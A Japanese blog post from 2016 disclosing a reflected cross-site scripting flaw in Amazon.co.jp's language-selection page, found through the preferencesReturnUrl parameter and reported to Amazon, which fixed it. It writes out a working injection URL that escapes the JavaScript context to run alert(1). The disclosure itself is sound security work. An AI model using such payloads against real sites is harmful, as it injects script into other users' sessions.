2016年5月25日水曜日

Amazon.co.jpの新機能にあったXSS

先日久しぶりにAmazon.co.jpにアクセスしてみると、何やら見慣れないボタンが右上に追加されていました。

    

どうやらAmazon.co.jpを利用するときの言語を設定できる機能のようです。

   

この機能のURLは以下のような形になっていました。
http://www.amazon.co.jp/gp/customer-preferences/select-language/ref=topnav_lang?ie=UTF8&preferencesReturnUrl=%2f

怪しい気配がしますね。
試しに、「'」(%27)をURLの末尾に挿入して出力されるコードを確認してみます。
http://www.amazon.co.jp/gp/customer-preferences/select-language/ref=topnav_lang?ie=UTF8&preferencesReturnUrl=%2f%27


あっ…(察し)
先ほど入力した「'」がエスケープされずに出力されてしまいました。
どうやらこの箇所はユーザから入力された値を適切にエスケープできていないようです。
これでalertが出せそうということが分かったので、JavaScriptの構文のエラーが出ないようなコードを書いて追加で挿入します。
http://www.amazon.co.jp/gp/customer-preferences/select-language/ref=topnav_lang?ie=UTF8&preferencesReturnUrl=%2f%27%3B%7D)%3B%7D)%3Balert(1)%3B(function()%7B(function()%7B%27

alertが無事画面に表示されました!

この問題は発見した当日にAmazonに報告をして、本日修正を完了したとの連絡をいただいています。
最後に、修正が完了したあとの同機能のスクリーンショットを貼っておきます。


( ˘⊖˘).。oO (存在自体が消されてしまった…)


2016/05/26 追記
本日確認したところ、同機能が復活していました。